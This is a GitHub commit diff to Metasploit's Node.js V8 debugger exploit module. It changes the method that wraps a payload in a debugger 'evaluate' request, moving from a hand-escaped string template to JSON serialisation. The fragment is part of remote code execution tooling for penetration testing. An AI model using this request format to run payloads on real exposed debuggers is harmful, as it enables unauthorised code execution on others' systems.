Skip to content

Commit 2966fb7

Browse files
committed
Accept @shawizard suggestion for formatting msg_body
1 parent 5d009c8 commit 2966fb7

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

modules/exploits/multi/misc/nodejs_v8_debugger.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::Tcp
1010

1111
MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
12-
MESSAGE_TEMPLATE = '{"seq":1,"type":"request","command":"evaluate","arguments":{"expression":"%{payload}","global":true,"maxStringLength":-1}}'
1312

1413
def initialize(info={})
1514
super(update_info(info,
@@ -44,8 +43,14 @@ def initialize(info={})
4443
end
4544

4645
def make_eval_message
47-
escaped_payload = payload.encoded.gsub(/"/, '\\"')
48-
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
46+
msg_body = { seq: 1,
47+
type: 'request',
48+
command: 'evaluate',
49+
arguments: { expression: payload.encoded,
50+
global: true,
51+
maxStringLength:-1
52+
}
53+
}.to_json
4954
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
5055
msg_header + msg_body
5156
end

0 commit comments

Comments
 (0)